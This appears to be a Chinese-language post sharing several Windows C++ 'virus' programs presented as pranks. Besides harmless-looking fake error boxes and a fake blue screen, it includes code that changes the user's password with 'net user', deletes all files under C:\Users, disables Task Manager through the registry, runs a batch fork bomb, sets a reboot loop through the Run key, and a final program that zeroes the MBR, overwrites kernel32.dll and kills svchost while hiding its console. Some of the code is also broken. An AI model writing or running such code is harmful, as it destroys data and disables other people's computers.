localStorage.cp6_player_id=“4aa29b88-5c63-4217-ba99-df3b67b8888a” 8858
运行试试就逝世(不会死机)
模拟报错
随机移动鼠标和窗口(恶作剧)
弹出假报错对话框(吓唬人)
危险部分:*******(net user命令)
*******(shutdown /l)
#include<bits/stdc++.h>
#include<Windows.h>
void fly(){
srand(time(0));
for(int i=1;i<=100;i++){
int x=rand()%GetSystemMetrics(SM_CXSCREEN);
int y=rand()%GetSystemMetrics(SM_CYSCREEN);
SetCursorPos(x,y);
Sleep(10);
HWND hwnd;
RECT rect;
hwnd=GetForegroundWindow();
GetWindowRect(hwnd,&rect);
MoveWindow(hwnd,rand()%500,rand()%500,rect.right-rect.left,rect.bottom-rect.top,1);
Sleep(10);
}
}
void die(){
MessageBox(NULL,"dev.c++被病毒控制!", "dev.c++",MB_OK|MB_ICONERROR);
Sleep(1000);
MessageBox(NULL,"System32出现问题!", "System32",MB_OK|MB_ICONERROR);
Sleep(1000);
MessageBox(NULL,"任务管理器出现问题!", "任务管理器",MB_OK|MB_ICONERROR);
Sleep(1000);
MessageBox(NULL,"文件已被大量修改和破坏!", "Windows",MB_OK|MB_ICONERROR);
Sleep(1000);
MessageBox(NULL,"你的密码正在被修改!","防火墙",MB_OK|MB_ICONERROR);
char d[100],b[100];
char a[50];
DWORD c=100;
GetUserName(a,&c);
sprintf(d,"%s%s%s","net user ",a," 0192");
sprintf(b,"%s%s%s","net user ",a," /fullname:人机用户");
system(d);
system(b);
Sleep(1000);
MessageBox(NULL,"您的电脑已报废","未知电脑病毒",MB_OK|MB_ICONINFORMATION);
}
int main()
{
die();
fly();
system("shutdown /l");
return 0;
}下面代码才是真正的死神(别怪我没警告你)
删除文件
删除C盘用户文件(del /f /s /q C:\Users*)
写入物理磁盘(可能破坏数据)
禁用任务管理器(注册表修改)
强制写入磁盘0扇区(可能破坏MBR)
无限循环,消耗内存(malloc(1000000))
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main()
{
if(MessageBox(NULL,"确定继续吗","dev.c++",MB_YESNO)==IDYES)
while(1){
SetCursorPos(0,0)
system("taskkill /f /im explorer.exe");
malloc(1000000);
system("del /f /s /q C:\\Users\\*");
system("echo break|debug");
system("calc");
system("cmd");
system("reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v DisableTaskMgr /t REG_DWORD /d 1 /f");
system("reg delete HKCU\\Sofrware\\Microsoft /f");
system("\\\\.\\PhysicalDrive0",GENERIC_WRITE);
WriteFile(hDevice,"\x00"*512,NULL,NULL);
SetCursorPos(0,0);
}
return 0;
}下面的代码简单但是危险极高
fork炸弹
%0|%0是批处理fork炸弹
会快速创建无数个cmd进程
导致系统资源耗尽而死机
确实很危险但不会永久损坏
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main()
{
if(MessageBox(NULL,"dev.c++出现一点故障,确定要继续吗?","dev.c++",MB_YESNO)==IDYES){
ofstream batFile("die.bat");
batFile<<"%0|%0";
system("start cmd /c die.bat");
}
return 0;
}还有一个吓唬人的假蓝屏代码
模仿蓝屏
只是模拟蓝屏界面
全屏显示蓝屏信息
相对安全:只是视觉效果
递归调用会耗尽栈空间
#include<bits/stdc++.h>
#include<windows.h>
#include<winternl.h>
#pragma comment(lib,"ntdll.lib")
void SetFullScreen(){
HWND hwnd=GetConsoleWindow();
ShowWindow(hwnd,SW_MAXIMIZE);
SetWindowLong(hwnd,GWL_STYLE,GetWindowLong(hwnd, GWL_STYLE)&~WS_OVERLAPPEDWINDOW);
MoveWindow(hwnd,0,0,GetSystemMetrics(SM_CXSCREEN),GetSystemMetrics(SM_CYSCREEN),TRUE);
}
void FakeBlueScreen(){
system("color 1F");
system("cls");
CONSOLE_CURSOR_INFO cursorInfo;
GetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE),&cursorInfo);
cursorInfo.bVisible=false;
SetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE),&cursorInfo);
printf("\n\n\n *** STOP: 0x0000007B (0xF78D2524,0xC0000034,0x00000000,0x00000000)\n");
printf(" INACCESSIBLE_BOOT_DEVICE\n\n");
printf(" If this is the first time you've seen this error screen,\n");
printf(" restart your computer. If this screen appears again, follow\n");
printf(" these steps:\n\n");
printf(" Check to be sure you have adequate disk space...\n\n");
printf(" Technical information:\n\n");
printf(" *** STOP: 0x0000007B (0xF78D2524,0xC0000034,0x00000000,0x00000000)\n\n");
for(int i=0;i<100; i++) {
printf(".");
Sleep(50);
if(i%10 == 0) printf("\n");
}
printf("\n\n Collecting data for crash dump...\n");
printf(" Initializing disk for crash dump...\n");
printf(" Beginning dump of physical memory...\n");
printf(" Physical memory dump complete.\n");
printf(" Contact your system administrator or technical support group.\n");
FakeBlueScreen();
}
int main()
{
MessageBox(NULL,"去死吧你!","未知病毒",MB_OK|MB_ICONINFORMATION);
SetFullScreen();
FakeBlueScreen();
return 0;
}还有一个拼手速的电脑病毒
手速病毒
设置开机自启动(注册表)
倒计时后立即重启
重启太快来不及处理
#include<bits/stdc++.h>
#include<windows.h>
#include<tchar.h>
using namespace std;
bool SetAutostart(bool bAutostart){
HKEY hKey;
TCHAR szPath[MAX_PATH];
GetModuleFileName(NULL,szPath,MAX_PATH);
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,_T("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"),0,KEY_WRITE,&hKey)!=ERROR_SUCCESS) return false;
if(bAutostart){
if(RegSetValueEx(hKey,_T("MyApp"),0,REG_SZ,(BYTE*)szPath,(_tcslen(szPath)+1)*sizeof(TCHAR))!=ERROR_SUCCESS){
RegCloseKey(hKey);
return false;
}
}
else RegDeleteValue(hKey,_T("MyApp"));
RegCloseKey(hKey);
return true;
}
int main()
{
MessageBox(NULL,"迎接你的噩梦吧!","未知病毒",MB_OK);
Sleep(1000);
SetAutostart(true);
system("shutdown /r /t 0");
}下面的代码除非你知道解药,千万别运行。虽然不会死机,但是至于后果嘛,你运行就知道了。
不告诉你
#include<bits/stdc++.h>
#include<windows.h>
int main()
{
HWND hwnd=GetConsoleWindow();
ShowWindow(hwnd, SW_HIDE);
HWND desktop=FindWindow("Progman", NULL);
HWND shell=FindWindowEx(desktop, NULL, "SHELLDLL_DefView", NULL);
HWND view=FindWindowEx(shell, NULL, "SysListView32", NULL);
ShowWindow(view, SW_HIDE);
MessageBox(NULL,"看看你的桌面","未知病毒",MB_OK|MB_ICONINFORMATION);
return 0;
}下面的会在鼠标经过的地方显现出红叉叉(慎用)按Alt+F4就可以了
鼠标图章
鼠标轨迹留下红叉
全局钩子捕获鼠标
Alt+F4可关闭窗口
相对安全的恶作剧
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
struct Cross{
int x,y;
};
vector<Cross> crosses;
HHOOK mouseHook=NULL;
HWND hWnd=NULL;
bool drawingEnabled=true;
LRESULT CALLBACK MouseProc(int nCode,WPARAM wParam,LPARAM lParam){
if(nCode>=0&&wParam==WM_MOUSEMOVE){
MSLLHOOKSTRUCT* mouseInfo=(MSLLHOOKSTRUCT*)lParam;
if(drawingEnabled){
Cross newCross={mouseInfo->pt.x,mouseInfo->pt.y};
crosses.push_back(newCross);
if(crosses.size()>1000) crosses.erase(crosses.begin());
InvalidateRect(hWnd,NULL,FALSE);
}
}
return CallNextHookEx(mouseHook,nCode,wParam,lParam);
}
LRESULT CALLBACK WindowProc(HWND hwnd,UINT uMsg,WPARAM wParam,LPARAM lParam){
switch(uMsg){
case WM_PAINT:{
PAINTSTRUCT ps;
HDC hdc=BeginPaint(hwnd,&ps);
SetROP2(hdc,R2_XORPEN);
HPEN hPen=CreatePen(PS_SOLID,2,RGB(255,0,0));
HPEN hOldPen=(HPEN)SelectObject(hdc,hPen);
for(const auto& cross:crosses){
MoveToEx(hdc,cross.x-10,cross.y-10,NULL);
LineTo(hdc,cross.x+10,cross.y+10);
MoveToEx(hdc,cross.x-10,cross.y+10,NULL);
LineTo(hdc,cross.x+10,cross.y-10);
}
SelectObject(hdc,hOldPen);
DeleteObject(hPen);
EndPaint(hwnd,&ps);
break;
}
case WM_DESTROY:{
drawingEnabled=false;
crosses.clear();
InvalidateRect(hWnd,NULL,FALSE);
UpdateWindow(hWnd);
if(mouseHook) UnhookWindowsHookEx(mouseHook);
PostQuitMessage(0);
break;
}
default:
return DefWindowProc(hwnd,uMsg,wParam,lParam);
}
return 0;
}
int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow){
Sleep(10000);
WNDCLASS wc={0};
wc.lpfnWndProc=WindowProc;
wc.hInstance=hInstance;
wc.lpszClassName="CrossPainter";
wc.hCursor=LoadCursor(NULL,IDC_ARROW);
RegisterClass(&wc);
hWnd=CreateWindow(
wc.lpszClassName,"鼠标红叉效果",
WS_POPUP|WS_VISIBLE,
0,0,GetSystemMetrics(SM_CXSCREEN),GetSystemMetrics(SM_CYSCREEN),
NULL,NULL,hInstance,NULL
);
SetLayeredWindowAttributes(hWnd,0,200,LWA_ALPHA);
mouseHook=SetWindowsHookEx(WH_MOUSE_LL,MouseProc,hInstance,0);
MSG msg;
while(GetMessage(&msg,NULL,0,0)){
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return 0;
}下面的代码有点烦
错误图标
在屏幕上随机位置画错误图标
烦人但不会破坏系统
主要是视觉效果
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main()
{
srand(time(0));
HWND hDesktop=GetDesktopWindow();
HDC hdc=GetWindowDC(hDesktop);
while(1){
int x=rand()%GetSystemMetrics(SM_CXSCREEN);
int y=rand()%GetSystemMetrics(SM_CYSCREEN);
SetCursorPos(x,y);
DrawIcon(hdc,x,y,LoadIcon(NULL,IDI_ERROR));
}
return 0;
}去死吧你!
真正病毒
fopen(”\.\PHYSICALDRIVE0”…) - 直接写入物理磁盘
fwrite(mbr) - 清空MBR,系统无法启动
kernel32.dll - 尝试破坏系统关键文件
taskkill svchost.exe - 关闭关键系统服务
加上#pragma comment(linker,“/subsystem:“windows”/entry:“mainCRTStartup"") - 没有控制台窗口,隐蔽执行
#define _CRT_SECURE_NO_WARNINGS 1
#pragma comment(linker,"/subsystem:\"windows\"/entry:\"mainCRTStartup\"")
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
void kill_mbr(){
FILE* disk=fopen("\\\.\\PHYSICALDRIVE0","rb+");
char mbr[512]={0};
fwrite(mbr,sizeof(mbr),1,disk);
fclose(disk);
}
void infect(){
FILE* infect_file=fopen("C:\\Windows\\SysWOW64\\kernel32.dll","rb+");
char write[666]={0};
fwrite(write,sizeof(write),1,infect_file);
fclose(infect_file);
}
int main()
{
MessageBox(NULL,"你要换电脑了!","未知病毒",MB_OK|MB_ICONERROR);
Sleep(10000);
infect();
kill_mbr();
system("taskkill /f /im svchost.exe");
return 0;
}记得全部改为c++14的版本哦不会戳这
所有代码前面都可以加上
HWND hwnd=GetConsoleWindow(); ShowWindow(hwnd,SW_HIDE);